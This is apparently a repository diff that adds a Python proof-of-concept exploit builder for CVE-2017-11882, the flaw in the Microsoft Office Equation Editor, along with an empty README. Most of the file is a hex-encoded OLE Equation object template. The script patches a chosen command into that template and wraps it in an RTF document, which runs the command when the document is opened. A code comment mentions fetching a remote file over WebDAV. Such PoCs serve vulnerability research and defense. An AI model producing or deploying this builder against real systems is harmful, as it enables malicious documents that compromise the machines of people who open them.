j

CVE_EXP/CVE-2017-11882/Command_CVE-2017-11882.py

@@ -0,0 +1,155 @@
+import argparse
+import sys
+
+
+RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
+{\*\generator Riched20 6.3.9600}\viewkind4\uc1
+\pard\sa200\sl276\slmult1\f0\fs22\lang9"""
+
+
+RTF_TRAILER = R"""\par}
+"""
+
+
+OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """
+
+
+OBJECT_TRAILER = R"""
+}{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}
+{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}}
+{\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}}
+{\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0
+\picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02
+00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}}
+"""
+
+
+OBJDATA_TEMPLATE = R"""
+01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
+b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001
+0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe
+fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000
+000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000
+0000000000000000000000000000000000000000000000000000001400000000000000010043006f
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+00000000000000000000000000000000000000000000000000000000000000010000006600000000
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+00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff
+ffffff00000000000000000000000000000000000000000000000000000000000000000000000003
+0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
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+ffffff01000002080000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02
+ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e
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+00000000000000000000000000000000000000000000000000000000000000000000000000030004
+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
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+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000004500710075
+006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000
+0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000
+0000000000000000000000000000000000000000000000000000000000000004000000c500000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff
+ffffff00000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000ff
+ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000000000000000000000000
+00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000001050000050000000d0000004d
+45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500
+000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00
+050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00
+ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468
+54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65
+7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001
+90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131
+0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131
+31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000
+0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff
+7cef1800040000002d01010004000000f0010000030000000000
+"""
+
+
+COMMAND_OFFSET = 0x949*2
+
+
+def create_ole_exec_primitive(command):
+    if len(command) > 43:
+        print "[!] Primitive command must be shorter than 43 bytes"
+        sys.exit(0)
+    hex_command = command.encode("hex")
+    objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n")
+    ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):]
+    return OBJECT_HEADER + ole_data + OBJECT_TRAILER
+
+
+
+def create_rtf(header,command,trailer):
+    ole1 = create_ole_exec_primitive(command + " &")
+
+    # We need 2 or more commands for executing remote file from WebDAV
+    # because WebClient service start may take some time
+    return header + ole1 + trailer
+
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882")
+    parser.add_argument("-c", "--command", help="Command to execute.", required=True)
+    parser.add_argument('-o', "--output", help="Output exploit rtf", required=True)
+
+    args = parser.parse_args()
+
+    rtf_content = create_rtf(RTF_HEADER, args.command ,RTF_TRAILER)
+
+    output_file = open(args.output, "w")
+    output_file.write(rtf_content)
+
+    print "[*] Done ! output file --> " + args.output 

CVE_EXP/CVE-2017-11882/README.md

@@ -0,0 +1 @@
+